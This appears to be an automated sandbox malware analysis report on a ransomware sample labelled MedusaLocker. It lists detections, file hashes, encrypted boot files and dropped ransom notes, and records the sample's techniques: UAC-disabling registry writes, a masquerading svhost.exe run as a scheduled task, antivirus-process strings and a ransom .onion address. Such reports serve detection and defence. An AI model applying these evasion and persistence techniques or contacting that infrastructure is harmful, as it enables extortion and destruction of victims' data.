Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sv-SE\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sv-SE\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sv-SE\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\tr-TR\bootmgfw.efi.mui VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AC8038 GetSystemTimeAsFileTime,

1_2_00AC8038

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AE15E4 GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

1_2_00AE15E4

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Contains functionality to modify Windows User Account Control (UAC) settings

Show sources

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: RegSetValue: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUASOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin

1_2_00AC1800

Source: svhost.exe, 00000001.00000002.643151848.0000000000F9A000.00000004.00000020.sdmp, svhost.exe, 0000001A.00000002.902624114.0000000001697000.00000004.00000020.sdmp	Binary or memory string: RTVscan.exe
Source: svhost.exe, 00000001.00000002.643151848.0000000000F9A000.00000004.00000020.sdmp	Binary or memory string: Defwatch.exe

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AA2420 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,_Immortalize,	1_2_00AA2420
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AEC5F4 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	1_2_00AEC5F4
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AA2CA0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	1_2_00AA2CA0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AA2C30 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,std::_Atomic_store_4,	1_2_00AA2C30
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AA2D10 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,std::_Atomic_exchange_4,	1_2_00AA2D10
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AA14C0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,std::exception_ptr::~exception_ptr,	1_2_00AA14C0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AEB91E Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	1_2_00AEB91E

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Replication Through Removable Media1	Native API1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools2	Input Capture1	System Time Discovery1	Taint Shared Content1	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel22	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Command and Scripting Interpreter2	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	LSASS Memory	Peripheral Device Discovery11	Replication Through Removable Media1	Input Capture1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Windows Service1	Bypass User Access Control1	Obfuscated Files or Information2	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Proxy1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution1	Scheduled Task/Job1	Windows Service1	DLL Side-Loading1	NTDS	System Information Discovery35	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Bootkit1	Process Injection11	Bypass User Access Control1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Scheduled Task/Job1	File Deletion1	Cached Domain Credentials	Security Software Discovery141	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading1	DCSync	Virtualization/Sandbox Evasion1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion1	Proc Filesystem	Process Discovery2	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection11	/etc/passwd and /etc/shadow	System Network Configuration Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Bootkit1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
f6ifQ0POml.exe	83%	Virustotal		Browse
f6ifQ0POml.exe	66%	Metadefender		Browse
f6ifQ0POml.exe	100%	ReversingLabs	Win32.Ransomware.MedusaLocker
f6ifQ0POml.exe	100%	Avira	TR/AD.MedusaRansom.yvkui
f6ifQ0POml.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\svhost.exe	66%	Metadefender		Browse
C:\Users\user\AppData\Roaming\svhost.exe	100%	ReversingLabs	Win32.Ransomware.MedusaLocker

Unpacked PE Files

Source	Detection	Scanner	Label	Download
20.2.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
0.0.f6ifQ0POml.exe.ef0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
26.2.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
1.0.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
1.2.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
20.0.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File
26.0.svhost.exe.aa0000.0.unpack	100%	Avira	HEUR/AGEN.1134416	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://gvlay6u4g53rxdi5.onion/	0%	Avira URL Cloud	safe
http://dmd-ca-beta2/CertEnroll/dmd-ca-beta2_Microsoft%20Digital%20Media%20Authority%202005.crt0d	0%	Avira URL Cloud	safe
http://dmd-ca-beta2/CertEnroll/Microsoft%20Digital%20Media%20Authority%202005.crl	0%	Avira URL Cloud	safe
http://gvlay6u4g53rxdi5.onion/21-04BymBUjhm2UYsdPZC8XC25a96k28AR0-OcR1TeBYZH2ghwRnMUFReuoTWOG46gMk	0%	Avira URL Cloud	safe
http://gvlay6u4g53rxdi5.onion/21-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://gvlay6u4g53rxdi5.onion/	f6ifQ0POml.exe	true	Avira URL Cloud: safe	unknown
http://dmd-ca-beta2/CertEnroll/dmd-ca-beta2_Microsoft%20Digital%20Media%20Authority%202005.crt0d	f6ifQ0POml.exe, 00000000.00000003.700397993.0000000004922000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://dmd-ca-beta2/CertEnroll/Microsoft%20Digital%20Media%20Authority%202005.crl	f6ifQ0POml.exe, 00000000.00000003.700397993.0000000004922000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.torproject.org	f6ifQ0POml.exe	false		high
http://gvlay6u4g53rxdi5.onion/21-04BymBUjhm2UYsdPZC8XC25a96k28AR0-OcR1TeBYZH2ghwRnMUFReuoTWOG46gMk	Recovery_Instructions.html28.0.dr	false	Avira URL Cloud: safe	unknown
http://gvlay6u4g53rxdi5.onion/21-	svhost.exe, 00000014.00000002.768636909.00000000011F7000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.94
192.168.2.132
192.168.2.104
192.168.2.105
192.168.2.102
192.168.2.103
192.168.2.108
192.168.2.109
192.168.2.106
192.168.2.107
192.168.2.100
192.168.2.101
192.168.2.115
192.168.2.116
192.168.2.113
192.168.2.114
192.168.2.119
192.168.2.117
192.168.2.118
192.168.2.111
192.168.2.112
192.168.2.110
192.168.2.200
192.168.2.39
192.168.2.38
192.168.2.42
192.168.2.41
192.168.2.44
192.168.2.43
192.168.2.46
192.168.2.45
192.168.2.48
192.168.2.47
192.168.2.40
192.168.2.28
192.168.2.27
192.168.2.29
192.168.2.31
192.168.2.30
192.168.2.33
192.168.2.32
192.168.2.35
192.168.2.34
192.168.2.37
192.168.2.36
192.168.2.17
192.168.2.16
192.168.2.19
192.168.2.18
192.168.2.20
192.168.2.22
192.168.2.21

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	377327
Start date:	29.03.2021
Start time:	12:57:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	f6ifQ0POml (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.spre.expl.evad.winEXE@22/191@0/100
EGA Information:	Failed
HDC Information:	Successful, ratio: 1.2% (good quality ratio 1.1%) Quality average: 77% Quality standard deviation: 20.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, VSSVC.exe, svchost.exe Excluded IPs from analysis (whitelisted): 40.88.32.150, 52.255.188.83, 13.64.90.137, 20.82.210.154, 92.122.213.247, 92.122.213.194, 20.82.209.183 Excluded domains from analysis (whitelisted): skypedataprdcoleus15.cloudapp.net, skypedataprdcoleus17.cloudapp.net, skypedataprdcolwus17.cloudapp.net, arc.msn.com.nsatc.net, blobcollector.events.data.trafficmanager.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1449.dscg2.akamai.net, arc.msn.com Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtSetValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:58:00	Task Scheduler	Run new task: svhost path: C:\Users\user\AppData\Roaming\svhost.exe
12:58:07	API Interceptor	3x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	Windows desktop.ini, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\$RECYCLE.BIN\desktop.ini Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	Windows desktop.ini, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\EFI\Microsoft\Boot\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	19556
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	384:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QO9FD8LNw6QOo:ktAw6X9tAw6X9tAw6X9tAw6Xo
MD5:	8A38AD530D4E4EF62D4BDB2D972A8788
SHA1:	469B2BC688099482B7BC5DA810C515392B7DE211
SHA-256:	32A791DE17A6E968F18896735A92718FA94DE14ABF6E59D9DBEAC8A6AC2F75AF
SHA-512:	7E7CC3B88C74DAAB1CDA027C9FAB8A97CAC040F8BD5369CF6D53F3DF4FBA7FBC6CE96FD19B4D02D1F818FFFF8EEADCBC98BB686ED4B60C0332EF011CB1A92885
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\bg-BG\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\bg-BG\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997778874884997
Encrypted:	true
SSDEEP:	1536:gQafQxU/rEvgVpQKQoIPZ+uxgc5EO5D6hT1+fpuXg+3V+IC7Cb7UJP73yHtP:gVaU/YbpR+uxBt6lEfpJ+3hC47UJPYP
MD5:	44DE4C0A0F72CC00FCA4304ABB02BF83
SHA1:	6187D950F1E1817F399D6035DFF73451F2B1BBA0
SHA-256:	415FC063B34052327ECB7CBDEB4D2F8183E0D4616EE58F7FD7BE7CCF2ADFC98D
SHA-512:	5D9930EE74FA006BEF8B22D0CC6D941D57359022B7DC65119E8A01CD9BB7A242987168A54AC05D74D10EB23746A79D9F56EF569B33D74F6A0DF0414BB5B6C951
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V.......mJ....}...'....%30..r.p...R....3c.n........ G5...d.2^>4........P...9[.$i......5.Pn.`5....y..Bj._.(.l.T$..JS'..n.W..G.....0k....../i..3>.[.p........J.^.7k.....Y.6..Q.t.h.sJ...s.H....sNGJF.J..O......c\.........2.a.i.mX,..IY"..~.z .g....~.rp..X.x....V.7.I[.%..]=..........O.6..T\r...A......-.a]....m....:.......a...q.?.M..+...i^.._.F....C0%....L.?#....}DHm.....q0C.Z.a...=N.....{}.v(..4A.W?w.....D.=...jR..F.."...M....So:.:.....;\..D....uW.*...&x....t=..`QN.j..b.=.[..^.d...8.+f#.`aT[..\|.-.:jl"..U..i.?.bv.}.. .<..1....m...D..H.....`..A7]V.. ..(... .G.eA....~G.. w...Xi...r.;..e.............xx..@..Hn.......uB.@...v.y.......Q..MR..5.T.OYlL[:w..n...b.C...x.I.I.>..0\|..:G=..L.\|

C:\EFI\Microsoft\Boot\bg-BG\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997551556083401
Encrypted:	true
SSDEEP:	1536:/1DM7vRenCw312dQKpWwAK3mHodTN5s77vji6t+GVX6EO9iKrPIJHB2zHNJ:+vMncmoWwPWIdB+77vPX6EAQLsHNJ
MD5:	4B87057B8CA82DD68DEA3A0D1CF1B3D1
SHA1:	0725CFB5A3F37AD42BCF08101240A238C05193B5
SHA-256:	198F61AA634C53A480ECD15580164308742615006CB54E6B1ED4414BC4FB06A3
SHA-512:	EF8A0756315C97D6BE8DED4DB61A3FFFD136B0CCD55FA022DADC2974BC1CC847594BBAA36C4427FA28BBDC8AE0759ED8F7E7D395C3A30D8F1F6C732FCE2721CA
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V....&.-.R.T+......K@.......,f..~..8...`...1F..# .~.5}B7..-...v^u..cMR.............U......D.......s^I_..C....8..~...1~.$.^....p....qb.....zirQ.;..\|.J......U.C..&f..E...P{..Xj.5.qz....8..#..x..zI.E....wJ..$....u.<.t/;..;...[...6....O..NR.... Q.{..db...v......!c..%.zMv...&:W.G.+.......5....0...X*.,.B1t..9..Y.../z\'..n.0b...._y..w[...H.......;.;.I......?..xO..LA.]..<Z........4......U...'.c!.3y.t...l..Iaj.".u5]..Q'.GF...+........M2$n..4...0A`{.T......<.h\1{@-.>Huz..[~....b..u..."......5OnqH.m?.,..E..a....A)...J..S...H.`S...3,w..(.../S.b...7...$c.j.1j.Yy.I..hE..2..E.........iI...jYqE...U....&+.U...%...d.N~..E.W....@l.<^..1....x.:[T!..T.Y....s......m....D\|...<.?...O.fb^.t.Ku.~M...r..A

C:\EFI\Microsoft\Boot\boot.stl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979460116859485
Encrypted:	false
SSDEEP:	192:3WmxqzXeHSGiM5Gqekbt/oakjcUYsMy9/q4O6aYRTog4Qdtd0W54k7:3WmKCSozDB/oaNUlMyvO6tRTfZdJ54k7
MD5:	A88B935F53451F93FBCD20FA5882E4E7
SHA1:	648615D8AC5CC093EA5A04289E595BA5F1771A50
SHA-256:	0D041489E3C3852DC77C8D403E0AB378E0989DB8F51CE36B2E1EB673145EBF31
SHA-512:	7F659FFB10301214D1F37771B609CA573858EDAC5B89E6B797BC1D8474180DFA7009D14C58758BFD5C55088E82DAB488729862312AAEC5F0789D45778F8CDCFD
Malicious:	false
Preview:	.h.+.u.`.f..i.+c./.\|.E<.._.".;...=A.5q5\.<......m...-..A..3`.hJ....&.a.a@\.).......k.,....L!...t.a"N..X.....'.z.A'z...l..Ur..>..$...'...fI..~.Hc{}._...8.N.....l....Z....W...s.m...V....'..^...br.r. ."B).P.3.h...#....}...$;y%.9...F(i2.ndnFZf.G.h=. ...e..(SP2Ac..X...`...v.].M.....#..A...J$._s\...~.....s...k8.....y.i.T.2.F`8...x..8.XO./..e.......sU.l.JU"4...A.B...\....%6..U.YI..x`.Q.`.....[.. .....\|.Nq...:...R..........s... j..O9.....'....d....";[T.....+..3..x.......f.../.!..jP..J....4+8{.L....H..c.~...IT..+.u.-..4-.K.o.2/KnZ.l..1..........a8..e~...^..:b..6^...=L.m.e........y/..1.M...f ...F.!...c.\|.^u...P+0$.....E....I.?/....8.9r..]5.^.......har..>....?..C[..W....V,.X.D0..\|.dM..\.8.m8..E...5....j....[0..4.&m.{k..2.2..4...L.D#.g......hQ.B.uQ..f.3.W.7.J.."..IeQ..=a.T^R.. ...e.....?G..C+.u..7_...Gh4.....{;........1..`..f....`......K?..M.I.....b/X.mor..l..t..}.=..TA..p.,@.....M..=.M..Ii..gAU...GW3^.A.7....D..uG..'.p.O2.tF...mUf..?...1.....t......E.wS..

C:\EFI\Microsoft\Boot\bootmgfw.efi Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1278488
Entropy (8bit):	7.999851414755561
Encrypted:	true
SSDEEP:	24576:eFQl/WS5Tc/iFa5VlCYJrTbxYO//XemTGA84iiURrHShb3D3cFrd4tfIzc9egCQ:qUTC95Lj9mG8vNoD3cDzc9e1Q
MD5:	B087033C5E847B55ABA82AB9ED186DF4
SHA1:	4F5C770E3B86EB9B560BC993313052FB38FCD7CA
SHA-256:	3C3FA91D3C1BECBA5E4F52D3E9F57C64EF7DA1075CFCC03548B6967D0A552272
SHA-512:	B71BE6CFABE05E64ACA77737D81F0203F911215B24BEDCEAB048F768AF481B556617F98D9405C118B6CB102A1B0B25B8EB43AA7A8B0795FCD1AB3E7D9478A6CE
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w..fL..s.w..0m..L.P.G].^%U.\|Q.\|A..!1D+..Nr....n9.=.B...../K.0..c...d....n....B..V...l.$....Y9.}.....V.(.M.U0...S.`......Uyj...)[@.:V.........}.X....[..<.=......A..7md.....X. ..H;...S.....}v[@...d.......&..v...I..h0........H.2Ckw.r......9......!...&...=.......6I..5f.....S..A.xfq.2..J.3.........g.X.....`.....8.k.v.`yX\|.vY.s.4.0>InX......X`n..P...6#m.AR......H........$.&P!9(.'..3D.u.V.Y{.h....W.....OB..}(.ou....`...../.#+wSP...........}.6.l.../.C...Xuk.t:o.dHY.`......L....<P...U.(./....k.d..I.... ..1r/...r..).Q.MH.d.A...Gr....44w.=........:$.u..~_.$.dW/HiL`...2V...VyO...P.3D......x......A.-....8.68@z..a1.[.yk..<'.....j.M.i.....GrH...LU.K]z..`.......\|...P......07..?...5....nFeu..qo.%b(...@O....".............C..%K.M..-'...O2S3.U..#.6..p^}......a.[F.D+\|......O.7.u#+...,....._...s..u"z......3Z..or%...c.......\|.......3..vuL.[....}..c=.'..<B..b..{.....S...R...;v...r...;..7v......K9...(....

C:\EFI\Microsoft\Boot\bootmgr.efi Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1262104
Entropy (8bit):	7.999836954956653
Encrypted:	true
